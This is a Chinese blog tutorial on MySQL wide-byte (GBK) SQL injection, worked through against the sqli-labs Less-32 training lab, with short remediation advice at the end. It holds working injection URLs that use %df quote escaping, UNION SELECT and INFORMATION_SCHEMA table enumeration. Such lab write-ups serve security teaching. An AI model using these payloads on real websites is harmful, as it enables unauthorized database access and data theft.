美文网首页
mysql宽字节注入

mysql宽字节注入

作者: migrate_ | 来源:发表于2020-04-03 14:35 被阅读0次
  1. 宽字节注入主要来自程序员设置数据库编码为非英文编码就有可能产生宽字节注入,典型情景是网站使用GBK编码,数据库使用UTF-8编码。
http://192.168.66.144/2sqli-labs/less-32/?id=1'
1.jpg
  1. 由上图可以看出单引号被转义,是不是不存在注入呢?接下来继续操作。
  2. 加了个%df和单引号就报错了,说明可能存在宽字节注入,为什么会产生这样的情况呢?
id=1' 变成 id=1\' 变成 id=1%5c%27
id=1%df' 变成 id=1%df%5c%27 变成 id=1%DF5C%27 变成 id=1運'
其实就是利用gbk是多字节的编码,两个字节代表一个汉字
%df和%5c 组合出了一个 運 字 造成单引号逃逸
  1. 下面就开始正常注入
http://192.168.66.144/2sqli-labs/less-32/?id=1%df' and 1=2 order by 3+--+
#返回正常
http://192.168.66.144/2sqli-labs/less-32/?id=1%df' and 1=2 order by 4+--+
#返回错误
3.jpg 4.jpg
http://192.168.66.144/2sqli-labs/less-32/?id=1%df' +and 1=2+UNION+ALL+SELECT+1,user(),3+--+
#查询user
5.jpg
  1. 查询数据库中的数据表
http://192.168.66.144/2sqli-labs/less-32/?id=1%df' and 1=2 union select 1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),3+--+
6.jpg
  1. 接下来的操作就跟普通注入一样了,一 一读取表,字段,值,就可以了
  2. 修复:
    (1)使用mysql_set_charset(GBK)指定字符集
    (2)使用mysql_real_escape_string进行转义

相关文章

  • PHP宽字节注入

    在PHPMySql语句中存在着宽字节注入漏洞,MySQL宽字节注入漏洞是SQL注入漏洞攻防技术相互促进的一个典型例...

  • mysql宽字节注入

    宽字节注入主要来自程序员设置数据库编码为非英文编码就有可能产生宽字节注入,典型情景是网站使用GBK编码,数据库使用...

  • Mysql注入-宽字节注入,二次编码注入

    宽字节注入 造成宽字节注入的原因,主要是因为使用了宽字节编码,导致一些字符被绕过 当我们注入 1' 时,若被转义成...

  • 宽字节注入

    宽字节注入 原理:宽字节(两字节)带来的安全问题主要是吃ASCII字符(一字节)的现象,使用一些特殊字符来”吃掉“...

  • 宽字节注入

    概述 首先要先了解一个宽字节注入,宽字节注入主要是源于程序员设置数据库编码与php编码设置为不同的两个编码,这样就...

  • sql注入 | 宽字节注入

    路漫漫其修远兮,吾将上下而求索。 mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%...

  • sql注入-宽字节注入

    宽字节注入原理 当数据库编码方式为gdk时,一个汉字会占用两个字节,平常字符会占一个字节 例如:你 url编码之后...

  • CTF中常见的web

    一、SQL注入 0x01宽字节注入 copy一份解释过来:mysql在使用GBK编码的时候,会认为两个字符为一个汉...

  • 墨者学院-SQL手工注入漏洞测试(MySQL数据库)

    思路:1.判断是否存在注入点。使用and、or、’,判断是否有注入,是否存在宽字节注入.是否存在http头注入以及...

  • sql注入之宽字节注入

    宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码...

网友评论

      本文标题:mysql宽字节注入

      本文链接:https://www.haomeiwen.com/subject/zkphphtx.html